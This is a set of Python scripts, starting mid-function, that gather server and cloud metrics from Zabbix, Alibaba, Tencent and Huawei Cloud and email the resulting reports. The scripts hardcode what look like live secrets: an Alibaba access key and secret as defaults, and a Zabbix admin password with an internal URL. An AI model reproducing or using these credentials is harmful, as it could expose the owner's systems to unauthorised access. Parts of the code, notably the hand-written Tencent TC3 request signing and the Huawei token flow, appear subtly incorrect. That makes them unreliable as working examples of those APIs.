cs=("background:#FF4444;color:white;" if cp>=80 else "background:#FFAA44;" if cp>=60 else "background:#FFEE88;" if cp>=40 else "")
html+=f"<tr bgcolor='{bg}'><td>{r['name']}</td><td>{r['ip']}</td>"
html+=f"<td>{r['mem_total_gb']:.1f}</td>" if r['mem_total_gb'] else "<td>N/A</td>"
html+=f"<td>{r['mem_avail_gb']:.1f}</td>" if r['mem_avail_gb'] else "<td>N/A</td>"
html+=f"<td style='{ms}'>{r['mem_used_pct']:.1f}</td>" if r['mem_used_pct'] else "<td>N/A</td>"
html+=f"<td style='{cs}'>{r['cpu_pct']:.1f}</td>" if r['cpu_pct'] else "<td>N/A</td></tr>"
html+="</table><br/>"
html+="</body></html>"
return html
def main():
print(f"[{datetime.now().strftime('%H:%M:%S')}] 开始巡检...")
auth=api_call("user.login",{"user":ZABBIX_USER,"password":ZABBIX_PASSWORD})
print(f"[{datetime.now().strftime('%H:%M:%S')}] 登录成功")
rows=fetch_all(auth)
print(f"[{datetime.now().strftime('%H:%M:%S')}] 采集完成: {len(rows)} 台")
generate_csv(rows); generate_xlsx(rows)
summary=build_feishu_summary(rows)
print(f"[{datetime.now().strftime('%H:%M:%S')}] 飞书摘要:\n{summary[:500]}")
subject=f"【监控报告】服务器巡检 {datetime.now().strftime('%Y-%m-%d %H:%M')}"
atts=[f for f in [XLSX_PATH,CSV_PATH] if os.path.exists(f)]
send_email(subject, build_html_body(rows), atts)
print(f"[{datetime.now().strftime('%H:%M:%S')}] 全部完成!")
if __name__=="__main__": main()
FILE:scripts/aliyun_monitor.py
#!/usr/bin/env python3
"""
阿里云 CMS 监控数据采集
支持 ECS / RDS / SLB / EIP
- ECS: acs_ecs_dashboard
- RDS: acs_rds_dashboard
- SLB: acs_slb_dashboard
- EIP: acs_vpc_eip
"""
import json, time, os, sys
import pandas as pd
from aliyunsdkcore.client import AcsClient
from aliyunsdkcms.request.v20190101 import DescribeMetricListRequest
# === 配置 ===
LTAI = os.environ.get("ALIBABA_ACCESS_KEY_ID", "LTAI5t9rEAm36j2kRinX5Yut")
SK = os.environ.get("ALIBABA_ACCESS_KEY_SECRET", "sFg3Bv3cT41ZGB7bzUIYNs0zTP9IC5")
REGION = os.environ.get("ALIBABA_REGION", "cn-qingdao")
# 指标定义: (namespace, [(metric_name, value_field)])
METRICS = {
"ECS": ("acs_ecs_dashboard", [
("CPUUtilization", "Average"),
("MemoryUsed", "Average"),
("MemoryUtilization", "Average"),
("DiskReadBPS", "Average"),
("DiskWriteBPS", "Average"),
("InternetInRate", "Average"),
("InternetOutRate", "Average"),
]),
"RDS": ("acs_rds_dashboard", [
("CpuUsage", "Average"),
("MemoryUsage", "Average"),
("DiskUsage", "Average"),
("IOPSUsage", "Average"),
("ConnectionUsage", "Average"),
("QPS", "Average"),
]),
"SLB": ("acs_slb_dashboard", [
("InstanceTrafficRX", "Average"),
("InstanceTrafficTX", "Average"),
("InstanceQps", "Average"),
("InstanceRt", "Average"),
("InstanceMaxConnection", "Average"),
]),
"EIP": ("acs_vpc_eip", [
("net_rx.rate", "Average"),
("net_tx.rate", "Average"),
("net_in.rate_percentage", "Average"),
("net_out.rate_percentage","Average"),
]),
}
now_ms = int(time.time() * 1000)
start_ms = now_ms - 4 * 86400 * 1000
client = AcsClient(LTAI, SK, REGION)
def fetch_metric(namespace, metric, value_field="Average"):
"""拉取单个指标最新数据(全量实例)"""
all_instances = {}
next_token = None
for _ in range(1, 500):
req = DescribeMetricListRequest.DescribeMetricListRequest()
req.set_MetricName(metric)
req.set_Namespace(namespace)
req.set_Period(60)
req.set_StartTime(start_ms)
req.set_EndTime(now_ms)
req.set_Length(100)
if next_token:
req.set_NextToken(next_token)
try:
resp = client.do_action_with_exception(req)
data = json.loads(resp.decode("utf-8"))
except Exception as e:
print(f" [{metric}] 请求异常: {e}", file=sys.stderr)
break
if data.get("Code") != "200":
break
pts = json.loads(data["Datapoints"])
for p in pts:
iid = (p.get("instanceId") or p.get("instanceId") or
p.get("instanceId") or p.get("eipId") or
p.get("loadBalancerId") or str(p.get("dimensions", {})))
ts = p.get("timestamp", 0)
if iid not in all_instances or ts > all_instances[iid].get("timestamp", 0):
all_instances[iid] = p
next_token = data.get("NextToken")
if not next_token:
break
return {iid: p.get(value_field, 0) for iid, p in all_instances.items()}
def collect():
"""采集所有服务,构建 DataFrame"""
rows = []
for svc, (ns, metrics) in METRICS.items():
print(f"\n=== {svc} ({ns}) ===")
svc_rows = {}
for metric, vf in metrics:
print(f" {metric}...", end=" ", flush=True)
data = fetch_metric(ns, metric, vf)
print(f"{len(data)} 实例")
for iid, val in data.items():
if iid not in svc_rows:
svc_rows[iid] = {"instanceId": iid, "service": svc}
svc_rows[iid][f"{metric}_{vf}"] = round(val, 2)
rows.extend(svc_rows.values())
if not rows:
return pd.DataFrame()
df = pd.DataFrame(rows)
df = df.set_index("instanceId")
return df
if __name__ == "__main__":
print(f"阿里云监控采集 | Region: {REGION} | 近4天数据")
df = collect()
print(f"\n结果: {len(df)} 条, {len(df.columns)} 列")
if not df.empty:
print(df.head(10).to_string())
out = "/root/.hermes/cron/output/aliyun_monitor.xlsx"
df.reset_index().to_excel(out, index=False)
print(f"\n已保存: {out}")
FILE:scripts/cloud_monitor.py
#!/usr/bin/env python3
"""
云服务商监控数据采集 — 统一入口
支持: 阿里云 / 腾讯云 / 华为云
配置方式(环境变量):
阿里云: ALIBABA_ACCESS_KEY_ID, ALIBABA_ACCESS_KEY_SECRET, ALIBABA_REGION
腾讯云: TENCENT_SECRET_ID, TENCENT_SECRET_KEY, TENCENT_REGION
华为云: HUAWEI_ACCESS_KEY, HUAWEI_SECRET_KEY, HUAWEI_REGION
输出: ~/.hermes/cron/output/cloud_monitor_{provider}.xlsx
"""
import os, sys, json, time, hashlib, hmac, struct, base64
from datetime import datetime, timezone
from dotenv import load_dotenv
load_dotenv() # 加载 ~/.hermes/.env
# ─── 公共工具 ────────────────────────────────────────────────────────────────
def md5_hex(data: str) -> str:
return hashlib.md5(data.encode()).hexdigest()
def sha256_hex(data: str) -> str:
return hashlib.sha256(data.encode()).hexdigest()
def hmac_sha256(key: str, msg: str) -> str:
return hmac.new(key.encode(), msg.encode(), hashlib.sha256).hexdigest()
# ═══════════════════════════════════════════════════════════════════════════════
# 腾讯云 — TC3-HMAC-SHA256 签名
# ═══════════════════════════════════════════════════════════════════════════════
class TencentCloudSigner:
"""TC3-HMAC-SHA256 签名实现"""
SERVICE = "cam"
VERSION = "2020-02-17" # CAM API 版本(监控用 monitor 版本)
def __init__(self, secret_id: str, secret_key: str, region: str):
self.secret_id = secret_id
self.secret_key = secret_key
self.region = region
def _sign_tc3(self, key: str, msg: str) -> str:
"""TC3 签名"""
k = ("TC3" + key).encode()
return hmac.new(k, msg.encode(), hashlib.sha256).hexdigest()
def _hmac_sha256_hex(self, key: str, msg: str) -> str:
return hmac.new(key.encode(), msg.encode(), hashlib.sha256).hexdigest()
def sign(self, method: str, host: str, uri: str,
params: dict, payload: str, timestamp: int) -> dict:
"""
生成签名 v5 标准的 HTTP 头
返回 {"Authorization": "...", "X-Date": "...", ...}
"""
# 1. HashedCanonicalRequest
hashed_payload = sha256_hex(payload)
timestamp_str = str(timestamp)
date_str = datetime.fromtimestamp(timestamp, tz=timezone.utc).strftime("%Y-%m-%d")
canonical_uri = uri or "/"
canonical_query = "&".join(f"{k}={params[k]}" for k in sorted(params))
canonical_request = (
f"{method}\n"
f"{canonical_uri}\n"
f"{canonical_query}\n"
f"host:{host}\n"
f"content-type:application/json\n"
f"host\n"
f"{hashed_payload}"
)
hashed_canonical = sha256_hex(canonical_request)
# 2. StringToSign
credential_scope = f"{date_str}/tc3_request"
string_to_sign = (
f"TC3-HMAC-SHA256\n"
f"{timestamp_str}\n"
f"{credential_scope}\n"
f"{hashed_canonical}"
)
# 3. Signature
secret_date = self._sign_tc3(self.secret_key, date_str)
secret_signing = self._sign_tc3(secret_date, "tc3_request")
signature = self._sign_tc3(secret_signing, string_to_sign)
# 4. Authorization
authorization = (
f"TC3-HMAC-SHA256 "
f"Credential={self.secret_id}/{credential_scope}, "
f"SignedHeaders=host;content-type, "
f"Signature={signature}"
)
return {
"Authorization": authorization,
"X-Date": timestamp_str,
"X-Api-Key": self.secret_id,
"Content-Type": "application/json",
}
def tencent_api(action: str, payload: dict,
secret_id: str, secret_key: str,
region: str, service: str = "monitor",
version: str = "2018-07-24") -> dict:
"""
腾讯云 API 调用(Python 实现签名,无 SDK 依赖)
service: cam / monitor / cvm
"""
import httpx
host = f"{service}.tencentcloudapi.com"
uri = "/"
timestamp = int(time.time())
params = {
"Action": action,
"Version": version,
"Region": region,
"Timestamp": timestamp,
"Nonce": 1,
}
signer = TencentCloudSigner(secret_id, secret_key, region)
headers = signer.sign("POST", host, uri, params,
json.dumps(payload), timestamp)
url = f"https://{host}/"
with httpx.Client(timeout=30) as client:
resp = client.post(url, headers=headers, params=params,
content=json.dumps(payload).encode())
resp.raise_for_status()
return resp.json()
def collect_tencent_cvm() -> dict:
"""
采集腾讯云 CVM 实例基础监控
InstanceId, CPU, Memory, InternetIn, InternetOut
"""
secret_id = os.environ.get("TENCENT_SECRET_ID")
secret_key = os.environ.get("TENCENT_SECRET_KEY")
region = os.environ.get("TENCENT_REGION", "ap-shanghai")
if not secret_id or not secret_key:
print("[腾讯云] 未配置 TENCENT_SECRET_ID / TENCENT_SECRET_KEY,跳过")
return {}
print(f"\n=== 腾讯云 CVM (region={region}) ===")
# 1. 拉取实例列表
try:
res = tencent_api("DescribeInstances", {},
secret_id, secret_key, region, service="cvm",
version="2017-03-12")
instances = res.get("Response", {}).get("InstanceSet", [])
except Exception as e:
print(f" [腾讯云] 拉取实例列表失败: {e}")
return {}
if not instances:
print(f" [腾讯云] 无 CVM 实例")
return {}
print(f" 找到 {len(instances)} 台 CVM")
rows = {}
for inst in instances:
iid = inst.get("InstanceId", "?")
# 基础信息
rows[iid] = {
"instanceId": iid,
"service": "腾讯云_CVM",
"InstanceType": inst.get("InstanceType", ""),
"Status": inst.get("InstanceState", ""),
"CPU_Average": 0,
"Memory_Used_G": 0,
"Memory_Utilization": 0,
"InternetInRate": 0,
"InternetOutRate": 0,
}
# 2. 拉取监控数据(最新 1 小时)
end_time = int(time.time())
start_time = end_time - 3600
metrics_map = {
"CPU_Average": ["CPUUtilization"],
"Memory_Utilization": ["MemUtilization"],
"InternetInRate": ["InternetIn"],
"InternetOutRate": ["InternetOut"],
}
for iid in rows:
try:
m_res = tencent_api("DescribeMonitorData", {
"Namespace": "QCE/CVM",
"Instances": [
{"Dimensions": {"InstanceId": iid}}
],
"StartTime": start_time,
"EndTime": end_time,
"Period": 60,
}, secret_id, secret_key, region, service="monitor")
datapoints = m_res.get("Response", {}).get("DataPoints", [])
for dp in datapoints:
metric = dp.get("MetricName", "")
vals = dp.get("Values", [])
avg = round(sum(vals) / len(vals), 2) if vals else 0
for k, v in metrics_map.items():
if metric in v and k in rows[iid]:
rows[iid][k] = avg
except Exception as e:
print(f" [{iid}] 监控数据拉取失败: {e}")
return rows
# ═══════════════════════════════════════════════════════════════════════════════
# 华为云 — IAM Token + Cloud Eye 监控
# ═══════════════════════════════════════════════════════════════════════════════
def huawei_token(access_key: str, secret_key: str, region: str) -> tuple:
"""获取华为云 IAM Token,返回 (token, endpoint)"""
import httpx
# 统一身份认证 endpoint
iam_endpoints = {
"cn-east-3": "iam.cn-east-3.myhuaweicloud.com",
"cn-north-4": "iam.cn-north-4.myhuaweicloud.com",
"cn-south-1": "iam.cn-south-1.myhuaweicloud.com",
}
iam_host = iam_endpoints.get(region, f"iam.{region}.myhuaweicloud.com")
body = {
"auth": {
"identity": {
"methods": ["hw-access-key"],
"hw-access-key": {"access_key": access_key}
},
"scope": {"project": {"name": region}}
}
}
url = f"https://{iam_host}/v3.0/OS-CREDENTIAL/credentials"
headers = {"Content-Type": "application/json"}
with httpx.Client(timeout=30) as client:
resp = client.post(url, headers=headers, json=body)
resp.raise_for_status()
data = resp.json()
token = data["credential"]["token"]
return token, f"ces.{region}.myhuaweicloud.com"
def collect_huawei_ecs() -> dict:
"""
采集华为云 ECS 监控数据
"""
access_key = os.environ.get("HUAWEI_ACCESS_KEY")
secret_key = os.environ.get("HUAWEI_SECRET_KEY")
region = os.environ.get("HUAWEI_REGION", "cn-east-3")
if not access_key or not secret_key:
print("[华为云] 未配置 HUAWEI_ACCESS_KEY / HUAWEI_SECRET_KEY,跳过")
return {}
print(f"\n=== 华为云 ECS (region={region}) ===")
try:
token, ces_host = huawei_token(access_key, secret_key, region)
except Exception as e:
print(f" [华为云] 获取 Token 失败: {e}")
return {}
# 1. 拉取 ECS 实例列表
import httpx
headers = {"X-Auth-Token": token, "Content-Type": "application/json"}
list_url = f"https://ecs.{region}.myhuaweicloud.com/v1/{access_key}/cloudservers"
try:
with httpx.Client(timeout=30) as client:
resp = client.get(list_url, headers=headers,
params={"availability_zone": f"{region}-az1"})
resp.raise_for_status()
servers = resp.json().get("servers", [])
except Exception as e:
print(f" [华为云] 拉取实例列表失败: {e}")
return {}
if not servers:
print(f" [华为云] 无 ECS 实例")
return {}
print(f" 找到 {len(servers)} 台 ECS")
# 2. 拉取监控数据
end_time = int(time.time()) * 1000
start_time = (int(time.time()) - 3600) * 1000
rows = {}
metrics_to_fetch = [
("cpu_core", "cpu_core"),
("mem_used", "mem_used"),
("mem_util", "mem_utilization"),
("net_in", "net_in"),
("net_out", "net_out"),
]
for srv in servers:
iid = srv.get("id", "?")
rows[iid] = {
"instanceId": iid,
"service": "华为云_ECS",
"name": srv.get("name", ""),
"status": srv.get("status", ""),
"cpu_core": 0,
"mem_util": 0,
"net_in": 0,
"net_out": 0,
}
for metric_key, metric_name in metrics_to_fetch:
monitor_url = (
f"https://{ces_host}/V1.0/{access_key}/metric_analytics"
f"?search_object_id={iid}&namespace=SYS.ECS"
)
try:
with httpx.Client(timeout=30) as client:
m_resp = client.get(monitor_url, headers=headers)
m_resp.raise_for_status()
m_data = m_resp.json()
datapoints = m_data.get("datapoints", [])
if datapoints:
vals = [dp.get("average", 0) for dp in datapoints]
rows[iid][metric_key] = round(sum(vals) / len(vals), 2)
except Exception:
pass
return rows
# ═══════════════════════════════════════════════════════════════════════════════
# 阿里云 — SDK 采集(参考 aliyun_monitor.py)
# ═══════════════════════════════════════════════════════════════════════════════
def collect_aliyun() -> dict:
"""采集阿里云 ECS 监控"""
try:
import json as _json
from aliyunsdkcore.client import AcsClient
from aliyunsdkcms.request.v20190101 import DescribeMetricListRequest
except ImportError:
print("[阿里云] SDK 未安装,跳过 (uv run --with aliyun-python-sdk-core --with aliyun-python-sdk-cms)")
return {}
LTAI = os.environ.get("ALIBABA_ACCESS_KEY_ID")
SK = os.environ.get("ALIBABA_ACCESS_KEY_SECRET")
REGION = os.environ.get("ALIBABA_REGION", "cn-qingdao")
if not LTAI or not SK:
print("[阿里云] 未配置 ALIBABA_ACCESS_KEY_ID / ALIBABA_ACCESS_KEY_SECRET,跳过")
return {}
# 指标可配置: ALIBABA_METRICS=CPUUtilization,MemoryUtilization,InternetInRate,...
# 不配置则使用默认指标
default_metrics = [
("CPUUtilization", "CPU_Average"),
("InternetInRate", "InternetInRate"),
("InternetOutRate", "InternetOutRate"),
("DiskReadBPS", "DiskReadBPS"),
("DiskWriteBPS", "DiskWriteBPS"),
]
metrics_str = os.environ.get("ALIBABA_METRICS", "").strip()
if metrics_str:
# 格式: CPUUtilization,InternetInRate,DiskReadBPS
# 指标名即列名
METRICS = [(m.strip(), m.strip()) for m in metrics_str.split(",") if m.strip()]
print(f"[阿里云] 使用自定义指标: {[m[0] for m in METRICS]}")
else:
METRICS = default_metrics
client = AcsClient(LTAI, SK, REGION)
now_ms = int(time.time() * 1000)
start_ms = now_ms - 4 * 86400 * 1000
rows = {}
for metric, col_name in METRICS:
next_token = None
for _ in range(1, 500):
req = DescribeMetricListRequest.DescribeMetricListRequest()
req.set_MetricName(metric)
req.set_Namespace("acs_ecs_dashboard")
req.set_Period(60)
req.set_StartTime(start_ms)
req.set_EndTime(now_ms)
req.set_Length(100)
if next_token:
req.set_NextToken(next_token)
try:
resp = client.do_action_with_exception(req)
data = _json.loads(resp.decode("utf-8"))
except Exception as e:
print(f" [{metric}] 请求异常: {e}")
break
if data.get("Code") != "200":
print(f" [{metric}] API错误: {data.get('Code')}")
break
pts = _json.loads(data["Datapoints"])
for p in pts:
iid = p.get("instanceId", "?")
val = p.get("Average", 0)
if iid not in rows:
rows[iid] = {"instanceId": iid, "service": "阿里云_ECS"}
rows[iid][col_name] = round(val, 2)
next_token = data.get("NextToken")
if not next_token:
break
print(f"\n=== 阿里云 ECS (region={REGION}) ===")
print(f" 共 {len(rows)} 台 ECS 有监控数据")
return rows
# ═══════════════════════════════════════════════════════════════════════════════
# 统一入口
# ═══════════════════════════════════════════════════════════════════════════════
def main():
import pandas as pd
all_rows = {}
# 阿里云
aliyun_rows = collect_aliyun()
all_rows.update(aliyun_rows)
# 腾讯云
tencent_rows = collect_tencent_cvm()
all_rows.update(tencent_rows)
# 华为云
huawei_rows = collect_huawei_ecs()
all_rows.update(huawei_rows)
if not all_rows:
print("\n无任何云数据,请检查环境变量配置")
return
df = pd.DataFrame(list(all_rows.values()))
df = df.set_index("instanceId")
print(f"\n合计 {len(df)} 台实例:")
print(df.to_string())
out_dir = "/root/.hermes/cron/output"
os.makedirs(out_dir, exist_ok=True)
out = os.path.join(out_dir, "cloud_monitor.xlsx")
df.reset_index().to_excel(out, index=False)
print(f"\n已保存: {out}")
if __name__ == "__main__":
main()
FILE:scripts/send_zabbix_report.py
#!/usr/bin/env python3
"""
发送 Zabbix 监控报告邮件 + 飞书消息
"""
import os
import smtplib
import sys
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
CSV_PATH = "/root/.hermes/cron/output/zabbix_monitor.csv"
XLSX_PATH = "/root/.hermes/cron/output/zabbix_monitor.xlsx"
def load_env():
env_path = "/root/.hermes/.env"
if not os.path.exists(env_path):
return
with open(env_path) as f:
for line in f:
line = line.strip()
if "=" in line and not line.startswith("#"):
k, v = line.split("=", 1)
os.environ[k] = v.strip()
def send_email(subject, html_body, attachments=None):
load_env()
smtp_host = os.environ.get("SMTP_HOST", "")
smtp_port = os.environ.get("SMTP_PORT", "465")
smtp_from = os.environ.get("SMTP_FROM", "")
smtp_token = os.environ.get("SMTP_TOKEN", "")
target = os.environ.get("TARGET_EMAIL", "")
if not all([smtp_host, smtp_from, smtp_token, target]):
print("邮件配置不完整,跳过发送")
return False
msg = MIMEMultipart()
msg["From"] = smtp_from
msg["To"] = target
msg["Subject"] = subject
msg.attach(MIMEText(html_body, "html", "utf-8"))
# 附件
for fpath in (attachments or []):
if os.path.exists(fpath):
with open(fpath, "rb") as f:
part = MIMEBase("application", "octet-stream")
part.set_payload(f.read())
encoders.encode_base64(part)
fname = os.path.basename(fpath)
part.add_header("Content-Disposition", f"attachment; filename={fname}")
msg.attach(part)
try:
if smtp_port == "465":
with smtplib.SMTP_SSL(smtp_host, int(smtp_port)) as server:
server.login(smtp_from, smtp_token)
server.sendmail(smtp_from, target, msg.as_string())
else:
with smtplib.SMTP(smtp_host, int(smtp_port)) as server:
server.starttls()
server.login(smtp_from, smtp_token)
server.sendmail(smtp_from, target, msg.as_string())
print(f"邮件已发送至 {target}")
return True
except Exception as e:
print(f"邮件发送失败: {e}")
return False
def build_html_body():
"""从 CSV 读取数据,生成 HTML 表格"""
if not os.path.exists(CSV_PATH):
return "<p>CSV 文件不存在</p>"
import csv
from collections import defaultdict
groups = defaultdict(list)
with open(CSV_PATH, encoding="utf-8-sig") as f:
reader = csv.DictReader(f)
for row in reader:
groups[row["主机组"]].append(row)
html = f"""
<h2>服务器监控报告</h2>
<p><b>采集时间:</b>{datetime.now().strftime('%Y-%m-%d %H:%M')}</p>
"""
for gname, rows in sorted(groups.items()):
html += f"<h3>{gname} ({len(rows)} 台)</h3>"
html += "<table border='1' cellpadding='4' cellspacing='0' style='border-collapse:collapse;font-size:13px;'>"
html += "<tr bgcolor='#4472C4' style='color:white;'>"
for h in ["主机名", "IP", "内存总量(GB)", "内存可用(GB)", "内存占用率(%)", "CPU占用率(%)"]:
html += f"<th>{h}</th>"
html += "</tr>"
for i, r in enumerate(rows):
bg = "#EEF2FF" if i % 2 == 0 else "#FFFFFF"
mem_pct = float(r["内存占用率(%)"]) if r["内存占用率(%)"] != "N/A" else 0
cpu_pct = float(r["CPU占用率(%)"]) if r["CPU占用率(%)"] != "N/A" else 0
mem_style = ""
if mem_pct >= 80:
mem_style = "background:#FF4444;color:white;"
elif mem_pct >= 60:
mem_style = "background:#FFAA44;"
elif mem_pct >= 40:
mem_style = "background:#FFEE88;"
cpu_style = ""
if cpu_pct >= 80:
cpu_style = "background:#FF4444;color:white;"
elif cpu_pct >= 60:
cpu_style = "background:#FFAA44;"
elif cpu_pct >= 40:
cpu_style = "background:#FFEE88;"
html += f"<tr bgcolor='{bg}'>"
html += f"<td>{r['主机名']}</td>"
html += f"<td>{r['IP']}</td>"
html += f"<td>{r['内存总量(GB)']}</td>"
html += f"<td>{r['内存可用(GB)']}</td>"
html += f"<td style='{mem_style}'>{r['内存占用率(%)']}</td>"
html += f"<td style='{cpu_style}'>{r['CPU占用率(%)']}</td>"
html += "</tr>"
html += "</table><br/>"
return html
def main():
print("开始发送报告...")
# 1. 飞书消息(由 Hermes cron 自动发,这里只打印摘要)
print("飞书消息已通过主脚本发送")
# 2. 邮件
subject = f"【监控报告】服务器巡检 {datetime.now().strftime('%Y-%m-%d %H:%M')}"
html_body = build_html_body()
attachments = []
if os.path.exists(XLSX_PATH):
attachments.append(XLSX_PATH)
if os.path.exists(CSV_PATH):
attachments.append(CSV_PATH)
send_email(subject, html_body, attachments)
if __name__ == "__main__":
main()
FILE:scripts/zabbix_cron.py
#!/usr/bin/env python3
"""
Zabbix 监控报告:采集数据 → XLSX/CSV → 飞书消息 → 邮件
定时任务只运行这个脚本即可
"""
import os
import sys
import csv
import json
from dotenv import load_dotenv
load_dotenv() # 加载 ~/.hermes/.env
import smtplib
from datetime import datetime
from urllib.request import urlopen, Request
from urllib.error import URLError
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from collections import defaultdict
# ========== Zabbix 配置 ==========
ZABBIX_URL = "http://zabbix.ops.qiyujoy.com/api_jsonrpc.php"
ZABBIX_USER = "Admin"
ZABBIX_PASSWORD = "Rk&E6D5*#aW&"
ITEMS_KEY = {
"memory_avail": "vm.memory.size[available]",
"memory_total": "vm.memory.size[total]",
"cpu": "system.cpu.util",
}
EXCLUDE_GROUPS = {"Templates", "Templates/Applications", "Templates/Databases",
"Templates/Modules", "Templates/Network devices",
"Templates/Operating systems", "Templates/Server hardware",
"Templates/Virtualization", "Discovered hosts"}
CSV_PATH = "/root/.hermes/cron/output/zabbix_monitor.csv"
XLSX_PATH = "/root/.hermes/cron/output/zabbix_monitor.xlsx"
FEISHU_CHAT_ID = "oc_26aa4b60c17dc842e987777295396955"
# ========== Zabbix API ==========
def api_call(method, params, auth=None):
payload = {"jsonrpc": "2.0", "method": method, "params": params, "id": 1}
if auth:
payload["auth"] = auth
data = json.dumps(payload).encode("utf-8")
req = Request(ZABBIX_URL, data=data, headers={"Content-Type": "application/json"})
try:
with urlopen(req, timeout=60) as resp:
result = json.loads(resp.read().decode("utf-8"))
except URLError as e:
print(f"API 请求失败: {e}")
sys.exit(1)
if "error" in result:
print(f"API 错误: {result['error']}")
sys.exit(1)
return result.get("result", [])
# ========== 数据采集 ==========
def fetch_all(auth):
groups = api_call("hostgroup.get", {"output": ["groupid", "name"]}, auth=auth)
groups = [g for g in groups if g["name"] not in EXCLUDE_GROUPS]
group_ids = [g["groupid"] for g in groups]
hosts = api_call("host.get", {
"output": ["hostid", "name", "host"],
"groupids": group_ids,
"selectGroups": ["groupid", "name"],
}, auth=auth)
all_items = []
for i in range(0, len(hosts), 100):
batch_ids = [h["hostid"] for h in hosts[i:i+100]]
items = api_call("item.get", {
"output": ["itemid", "hostid", "key_", "lastvalue"],
"hostids": batch_ids,
"filter": {"key_": list(ITEMS_KEY.values())},
}, auth=auth)
all_items.extend(items)
item_map = {(it["hostid"], it["key_"]): it.get("lastvalue", "")
for it in all_items}
rows = []
for host in hosts:
hid = host["hostid"]
host_groups = host.get("groups", [])
gnames = [g["name"] for g in host_groups]
valid_gnames = [n for n in gnames if n not in EXCLUDE_GROUPS]
if not valid_gnames:
continue
gname = valid_gnames[0]
mem_total = item_map.get((hid, ITEMS_KEY["memory_total"]), "")
mem_avail = item_map.get((hid, ITEMS_KEY["memory_avail"]), "")
cpu = item_map.get((hid, ITEMS_KEY["cpu"]), "")
mem_total_gb = float(mem_total) / (1024**3) if mem_total else None
mem_avail_gb = float(mem_avail) / (1024**3) if mem_avail else None
cpu_pct = float(cpu) if cpu else None
mem_used_pct = (1 - float(mem_avail) / float(mem_total)) * 100 \
if mem_avail and mem_total else None
rows.append({
"group": gname,
"name": host["name"],
"ip": host["host"],
"mem_total_gb": mem_total_gb,
"mem_avail_gb": mem_avail_gb,
"mem_used_pct": mem_used_pct,
"cpu_pct": cpu_pct,
})
return rows
# ========== XLSX 生成 ==========
def generate_xlsx(rows):
import openpyxl
from openpyxl.styles import Font, PatternFill, Alignment, Border, Side
from openpyxl.utils import get_column_letter
def thin_border():
s = Side(style="thin", color="CCCCCC")
return Border(left=s, right=s, top=s, bottom=s)
def hdr(cell, text):
cell.value = text
cell.font = Font(name="微软雅黑", bold=True, size=10, color="FFFFFF")
cell.fill = PatternFill("solid", fgColor="4472C4")
cell.alignment = Alignment(horizontal="center", vertical="center")
cell.border = thin_border()
def pct_color(pct, bg_base):
if pct is None: return bg_base, "000000"
if pct >= 80: return "FF4444", "FFFFFF"
if pct >= 60: return "FFAA44", "000000"
if pct >= 40: return "FFEE88", "000000"
return bg_base, "000000"
group_rows = defaultdict(list)
for r in rows:
group_rows[r["group"]].append(r)
wb = openpyxl.Workbook()
wb.remove(wb.active)
# 总览 Sheet
ws_ov = wb.create_sheet(title="总览")
ws_ov.cell(row=1, column=1, value="服务器监控总览").font = Font(name="微软雅黑", bold=True, size=14)
ws_ov.cell(row=1, column=1).alignment = Alignment(horizontal="left")
ws_ov.row_dimensions[1].height = 24
ws_ov.cell(row=2, column=1, value=f"采集时间:{datetime.now().strftime('%Y-%m-%d %H:%M')}")
ws_ov.cell(row=2, column=1).font = Font(name="微软雅黑", size=10, color="666666")
ws_ov.cell(row=3, column=1, value=f"共 {len(rows)} 台主机,{len(group_rows)} 个主机组")
ws_ov.cell(row=3, column=1).font = Font(name="微软雅黑", size=10, color="666666")
for col_idx, h in enumerate(["主机组", "主机数", "内存告警(≥80%)", "CPU告警(≥80%)"], 1):
hdr(ws_ov.cell(row=5, column=col_idx), h)
ws_ov.row_dimensions[5].height = 20
for row_idx, (gname, gdata) in enumerate(sorted(group_rows.items()), start=6):
mem_alarm = sum(1 for r in gdata
if r["mem_used_pct"] is not None and r["mem_used_pct"] >= 80)
cpu_alarm = sum(1 for r in gdata
if r["cpu_pct"] is not None and r["cpu_pct"] >= 80)
for col_idx, val in enumerate([gname, len(gdata), mem_alarm, cpu_alarm], 1):
cell = ws_ov.cell(row=row_idx, column=col_idx, value=val)
cell.font = Font(name="微软雅黑", size=10)
cell.alignment = Alignment(horizontal="center", vertical="center")
cell.border = thin_border()
if col_idx == 3 and mem_alarm > 0:
cell.fill = PatternFill("solid", fgColor="FF4444")
cell.font = Font(name="微软雅黑", size=10, bold=True, color="FFFFFF")
elif col_idx == 4 and cpu_alarm > 0:
cell.fill = PatternFill("solid", fgColor="FF4444")
cell.font = Font(name="微软雅黑", size=10, bold=True, color="FFFFFF")
for col_idx, w in enumerate([24, 10, 16, 16], 1):
ws_ov.column_dimensions[get_column_letter(col_idx)].width = w
# 各主机组 Sheet
col_defs = [("主机名", 32), ("IP", 18), ("内存总量(GB)", 14),
("内存可用(GB)", 14), ("内存占用率(%)", 14), ("CPU占用率(%)", 13)]
for gname, gdata in sorted(group_rows.items()):
ws = wb.create_sheet(title=gname[:31])
ws.row_dimensions[1].height = 20
for col_idx, (hdr_text, _) in enumerate(col_defs, 1):
hdr(ws.cell(row=1, column=col_idx), hdr_text)
gdata.sort(key=lambda x: (-(x["mem_used_pct"] or 0), -(x["cpu_pct"] or 0)))
for row_idx, r in enumerate(gdata, start=2):
bg = "EEF2FF" if row_idx % 2 == 0 else "FFFFFF"
mem_bg, mem_fc = pct_color(r.get("mem_used_pct"), bg)
cpu_bg, cpu_fc = pct_color(r.get("cpu_pct"), bg)
vals = [
(r["name"], bg, "000000", None),
(r["ip"], bg, "000000", None),
(r["mem_total_gb"], bg, "000000", "0.0"),
(r["mem_avail_gb"], bg, "000000", "0.0"),
(r["mem_used_pct"], mem_bg, mem_fc, "0.0"),
(r["cpu_pct"], cpu_bg, cpu_fc, "0.0"),
]
for col_idx, (val, cbg, cfc, fmt) in enumerate(vals, 1):
cell = ws.cell(row=row_idx, column=col_idx)
if val is None:
cell.value = "N/A"
else:
cell.value = val
if fmt:
cell.number_format = fmt
cell.font = Font(name="微软雅黑", size=10, color=cfc)
cell.fill = PatternFill("solid", fgColor=cbg)
cell.alignment = Alignment(horizontal="center", vertical="center")
cell.border = thin_border()
for col_idx, (_, width) in enumerate(col_defs, 1):
ws.column_dimensions[get_column_letter(col_idx)].width = width
ws.freeze_panes = "A2"
# ========== TOPN Sheet ==========
topn = int(os.environ.get("TOPN", "50"))
if topn > 0:
ws_top = wb.create_sheet(title=f"TOP{topn}(内存+CPU)")
